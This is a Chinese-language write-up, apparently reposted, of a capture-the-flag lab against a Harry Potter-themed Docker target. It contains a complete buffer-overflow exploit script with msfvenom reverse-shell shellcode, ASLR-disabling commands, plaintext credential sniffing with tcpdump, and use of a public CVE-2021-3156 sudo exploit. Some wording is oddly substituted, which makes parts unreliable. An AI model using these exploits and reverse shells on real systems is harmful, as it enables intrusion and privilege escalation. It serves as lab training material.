难度 高
目标 2个root 3个flag
当我看到这种类型我就知道肯定是docker系列的连锁情况了
netdiscover -i eth0 -r 192.168.189.0/24
kali 192.168.189.58 靶机 192.168.189.69
扫描一下开放的端口和服务辨认
应该是存在ftp 的匿名访问,然后还有一个monkeycom?好奇怪的服务在网上找了一下好像是很老的服务都没有什么相干的先容,别的有两个ssh我估计使用其中有docker服务的ssh端口被映射出来了
ftp 192.168.189.69
ftp>get server_hogwarts
匿名访问到发ftp目录下面有一个文件,下载检察使用elf的文件
趁便访问一下这个web服务,ftp匿名访问也没找到什么使用方式,除了可以上传文件?
实验运行了一下这个server的文件,发现他会开启一个9889的端口,估计可能和靶机上面的9898端口有关系,还有这个nmap扫描出来的结果
有点抽象,不知道在玩什么格式
访问网站就一张哈利波特的图片
扫了一下目录没有扫出东西来?只剩下ssh端口爆破没有实验了,ssh弱口令我是以为盼望不大的,没什么思绪了,看一下wp
看了一眼。。。原来是要nc访问9898,我就说怎么找不到输入命令的地方,看前面的这个翻译就像是交互的shell一样
现在本地启动一下这个服务
nc 127.0.0.1 9898 连接一下
发现真就是在对话没有其他的功能点了。
wp中说是缓存区溢出漏洞,原来有点计划换一个靶机打的,不外最近正好有学习一些免杀的知识同时也打仗了汇编刚悦目得懂一点这种反汇编的内容
因为kali本机存在ALSR安全技能,地址空间随机化,会造成内存地址的随机化,导致无法确定缓冲区溢出的位置。以是需要先把这个关闭
cd /proc/sys/kernel
echo 0 > randomize_va_space
值为2是开启,值为0为关闭
然后启动server_的服务,然后打开这个edb程序,在file 选择attack找到server_,这个server_要用kali的用户启动,否则edb还打不开没权限
再点击上面那个run
然后就可以使用nc来连接了
为了测试缓存区溢出可以使用命令生成500个A,然后输入这500个A来测试
python -c "print('A'*500)"
输入500个A然后程序报错了
点击ok后eip被覆盖为了41414141
EIP寄存器存储的是下一个指令的内存地址(可以明白为调试工具需要根据EIP才知道下一个调试的指令),而ESP存储器存储的是是的具体指令,
攻击思绪,可以使eip的值实现jmp跳转到esp空间,然后esp中填充我们的恶意shellcode
接下里是确定溢出的位置
首先使用一个msf的小脚本进行生成各不相同的字符
msf-pattern_create -l 500
然后拿得到的字符再次去输入(重启一下这个server_)
此时的报错变成了0x064413764,这个位置很有可能就是溢出的位置
然后使用另一个msf小脚本进行计算一下这个溢出的位置也就是偏移值是多少
msf-pattern_offset -l 500 -q 64413764
也就是从113开始后面4个就是写入到eip的值
为了验证可以使用一个输入112个A加4个B然后加一堆C
0x42就是B,eip的位置被B覆盖了,而esp全是C,这可以证明溢出位置就是B所在的地方
找到了溢出的位置这个时间就需要寻找一个跳转esp的指令,也就是 jmp esp这样的指令找到对应的内存地址,然后让eip写入这个内存地址这样就可以实现下一步跳到esp,而esp的空间保存了许多的C,这部分空间可以用来写入反弹shell的16进制shellcode用来反弹shell
在重新加载程序后,使用插件plugins中的Opcodesearcher里的Opcode search
然后选择esp->eip 即esp的内存地址做为eip的值 然后左边选择 r-x 要有x的权限的进程
然后find
可以找到一个jmp esp 的指令
然跋文录下这个地址
0x08049d55 但是呆板指令是反着读入的,以是在写的时间需要由高位写到低位 \x55\x9d\x04\x08
使用msfvenom生成反弹shell的payload
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.81.58 LPORT=4444 -b "\x00" -f python //这里的-b "\x00" 的作用是去除生成的payload中的\x00 ,这个\x00是终止字符,也被称为坏字节,程序遇到\x00可能会终止,为了防止不测需要将这个去除。 -f 就是格式是python的格式
然后写个套接字tcp连接的python脚本用来发送payload
Python2的脚本
- import sys,socket
- buf = b""
- buf += b"\xbd\xd4\x75\x45\x10\xdb\xc1\xd9\x74\x24\xf4\x58"
- buf += b"\x33\xc9\xb1\x12\x31\x68\x12\x83\xc0\x04\x03\xbc"
- buf += b"\x7b\xa7\xe5\x0d\x5f\xd0\xe5\x3e\x1c\x4c\x80\xc2"
- buf += b"\x2b\x93\xe4\xa4\xe6\xd4\x96\x71\x49\xeb\x55\x01"
- buf += b"\xe0\x6d\x9f\x69\x33\x25\x0e\x53\xdb\x34\xb1\xb2"
- buf += b"\x47\xb0\x50\x04\x11\x92\xc3\x37\x6d\x11\x6d\x56"
- buf += b"\x5c\x96\x3f\xf0\x31\xb8\xcc\x68\xa6\xe9\x1d\x0a"
- buf += b"\x5f\x7f\x82\x98\xcc\xf6\xa4\xac\xf8\xc5\xa7"
- payload = 'A' * 112 + '\x55\x9d\x04\x08' + '\x90' * 32 + buf //这里\x90是nop,程序运行到这里会自动向下走不会有任何的作用,这里添加32的作用是为了提高容错率,防止代码连在一起发生什么意外的错误。
- try:
- s = socket.socket()
- s.connect(('127.0.0.1', 9898))
- s.send((payload))
- s.close()
- except:
- print('wrong')
- sys.exit()
复制代码 运行此脚本成功将shell反弹了回来
成功的使用脚本将shell弹回,可以拿到靶机上使用了
kali 192.168.81.58 靶机 192.168.81.69
修改目标地址后运行脚本,成功将shell反弹回来了
为了维持权限创建msf的链接
ls -al / 检察一下目录,发现docker
确定此时在docker容器中
然后检察一下家目录下面有没有什么可以用来提权的有用的信息
发现一个.mycreds.txt
很有可能是ssh密码 HarrYp0tter@Hogwarts123
而且2222端口也是ssh估计就是这个docker的ssh
实验发现果然是的
然后实验提权,首先实验sudo看是否被设置为可以直接切换root的权限
实验了一下发现可以直接提权到root
有了root权限继续看看他的家里有什么
有一个flag和一个提示,提示说需要我们去分析流量,搞清楚user
这里是命令行以是只能使用比较原始的抓包工具 tcpdump
tcpdump -i eth0 port 21 #这里指定抓21端口的包 ,指定网卡eth0
等待一段时间后抓到了一段数据包
在数据包中可以看到172.17.0.1在向这个的21端口创建ftp的链接,其中用户名和密码明文传输
neville bL!Bsg3k
直接实验登录ssh
也是直接登录成功了
实验一下sudo发现要密码提升不了
然后发现第二个魂器
通过msf的自动提权模块发现了两个可以使用的模块
其中一个实验后发现不可,但是另一个CVE-2021-3156 好像可以但是需要修改点东西
CVE-2021-3156,该漏洞被命名为“Baron Samedit”
影响版本
Sudo 1.8.2 - 1.8.31p2
Sudo 1.9.0 - 1.9.5p1
Ubuntu 20.04(sudo 1.8.31)、Debian 10(sudo 1.8.27)和Fedora 33(sudo 1.9.2)
看着靶机也都符合漏洞攻击的版本的
然后实验在github上面寻找其他的相干使用exp
实验了几个发现页不可,于是观察exp中的内容
exp GitHub - worawit/CVE-2021-3156: Sudo Baron Samedit Exploit
选择exploit_nss.py 脚本使用
检察脚本发现sudo的路径是usr/bin/sudo
但是靶机上面的sudo在usr/local/bin/sudo
估计是作者故意的
修改完后使用nc将脚本传已往
靶机 nc -lvnp 4444 > exp.py
kali nc 192.168.81.69 4444 < exploit_nss.py -w 1 #-w体现传输完后一秒断开连接
执行脚本
成功提权为root
拿到末了一个魂器,末了哈利波特打败了伏地魔
在这次的靶机中学到许多的知识点,首先是缓存区溢出漏洞,虽然这应该是最简单的缓存区溢出漏洞的情势,但是我对这方面基本上没怎么了解过,也是学到了许多。别的就是流量分析,这方面倒是学过许多相干的知识只是也是用的比较少,末了是对于exp的修改,将其修改为符合目标情况的这种能力还有待进步。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |